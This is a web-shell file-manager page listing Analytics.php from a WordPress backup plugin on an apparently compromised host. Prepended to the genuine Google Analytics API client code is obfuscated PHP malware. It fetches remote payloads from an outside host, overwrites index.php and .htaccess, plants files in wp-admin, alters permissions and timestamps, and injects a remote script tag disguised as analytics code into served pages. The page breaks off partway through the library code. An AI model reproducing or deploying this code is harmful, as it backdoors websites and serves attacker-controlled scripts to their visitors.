0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
beatlesmontreal.com
/
wp-contentebbd3f
/
plugins
/
backupbuddy
/
destinations
/
gdrive
/
Google
/
Service
/
[
Home
]
File: Analytics.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /* * Copyright 2010 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ /** * Service definition for Analytics (v3). * * <p> * View and manage your Google Analytics data * </p> * * <p> * For more information about this service, see the API * <a href="https://developers.google.com/analytics/" target="_blank">Documentation</a> * </p> * * @author Google, Inc. */ class Google_Service_Analytics extends Google_Service { /** View and manage your Google Analytics data. */ const ANALYTICS = "https://www.googleapis.com/auth/analytics"; /** Edit Google Analytics management entities. */ const ANALYTICS_EDIT = "https://www.googleapis.com/auth/analytics.edit"; /** Manage Google Analytics Account users by email address. */ const ANALYTICS_MANAGE_USERS = "https://www.googleapis.com/auth/analytics.manage.users"; /** Create a new Google Analytics account along with its default property and view. */ const ANALYTICS_PROVISION = "https://www.googleapis.com/auth/analytics.provision"; /** View your Google Analytics data. */ const ANALYTICS_READONLY = "https://www.googleapis.com/auth/analytics.readonly"; public $data_ga; public $data_mcf; public $data_realtime; public $management_accountSummaries; public $management_accountUserLinks; public $management_accounts; public $management_customDataSources; public $management_dailyUploads; public $management_experiments; public $management_filters; public $management_goals; public $management_profileFilterLinks; public $management_profileUserLinks; public $management_profiles; public $management_segments; public $management_unsampledReports; public $management_uploads; public $management_webPropertyAdWordsLinks; public $management_webproperties; public $management_webpropertyUserLinks; public $metadata_columns; public $provisioning; /** * Constructs the internal representation of the Analytics service. * * @param Google_Client $client */ public function __construct(Google_Client $client) { parent::__construct($client); $this->servicePath = 'analytics/v3/'; $this->version = 'v3'; $this->serviceName = 'analytics'; $this->data_ga = new Google_Service_Analytics_DataGa_Resource( $this, $this->serviceName, 'ga', array( 'methods' => array( 'get' => array( 'path' => 'data/ga', 'httpMethod' => 'GET', 'parameters' => array( 'ids' => array( 'location' => 'query', 'type' => 'string', 'required' => true, ), 'start-date' => array( 'location' => 'query', 'type' => 'string', 'required' => true, ), 'end-date' => array( 'location' => 'query', 'type' => 'string', 'required' => true, ), 'metrics' => array( 'location' => 'query', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'sort' => array( 'location' => 'query', 'type' => 'string', ), 'dimensions' => array( 'location' => 'query', 'type' => 'string', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), 'segment' => array( 'location' => 'query', 'type' => 'string', ), 'samplingLevel' => array( 'location' => 'query', 'type' => 'string', ), 'filters' => array( 'location' => 'query', 'type' => 'string', ), 'output' => array( 'location' => 'query', 'type' => 'string', ), ), ), ) ) ); $this->data_mcf = new Google_Service_Analytics_DataMcf_Resource( $this, $this->serviceName, 'mcf', array( 'methods' => array( 'get' => array( 'path' => 'data/mcf', 'httpMethod' => 'GET', 'parameters' => array( 'ids' => array( 'location' => 'query', 'type' => 'string', 'required' => true, ), 'start-date' => array( 'location' => 'query', 'type' => 'string', 'required' => true, ), 'end-date' => array( 'location' => 'query', 'type' => 'string', 'required' => true, ), 'metrics' => array( 'location' => 'query', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'sort' => array( 'location' => 'query', 'type' => 'string', ), 'dimensions' => array( 'location' => 'query', 'type' => 'string', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), 'samplingLevel' => array( 'location' => 'query', 'type' => 'string', ), 'filters' => array( 'location' => 'query', 'type' => 'string', ), ), ), ) ) ); $this->data_realtime = new Google_Service_Analytics_DataRealtime_Resource( $this, $this->serviceName, 'realtime', array( 'methods' => array( 'get' => array( 'path' => 'data/realtime', 'httpMethod' => 'GET', 'parameters' => array( 'ids' => array( 'location' => 'query', 'type' => 'string', 'required' => true, ), 'metrics' => array( 'location' => 'query', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'sort' => array( 'location' => 'query', 'type' => 'string', ), 'dimensions' => array( 'location' => 'query', 'type' => 'string', ), 'filters' => array( 'location' => 'query', 'type' => 'string', ), ), ), ) ) ); $this->management_accountSummaries = new Google_Service_Analytics_ManagementAccountSummaries_Resource( $this, $this->serviceName, 'accountSummaries', array( 'methods' => array( 'list' => array( 'path' => 'management/accountSummaries', 'httpMethod' => 'GET', 'parameters' => array( 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ), ) ) ); $this->management_accountUserLinks = new Google_Service_Analytics_ManagementAccountUserLinks_Resource( $this, $this->serviceName, 'accountUserLinks', array( 'methods' => array( 'delete' => array( 'path' => 'management/accounts/{accountId}/entityUserLinks/{linkId}', 'httpMethod' => 'DELETE', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'linkId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'insert' => array( 'path' => 'management/accounts/{accountId}/entityUserLinks', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'list' => array( 'path' => 'management/accounts/{accountId}/entityUserLinks', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ),'update' => array( 'path' => 'management/accounts/{accountId}/entityUserLinks/{linkId}', 'httpMethod' => 'PUT', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'linkId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), ) ) ); $this->management_accounts = new Google_Service_Analytics_ManagementAccounts_Resource( $this, $this->serviceName, 'accounts', array( 'methods' => array( 'list' => array( 'path' => 'management/accounts', 'httpMethod' => 'GET', 'parameters' => array( 'max-results' => array( 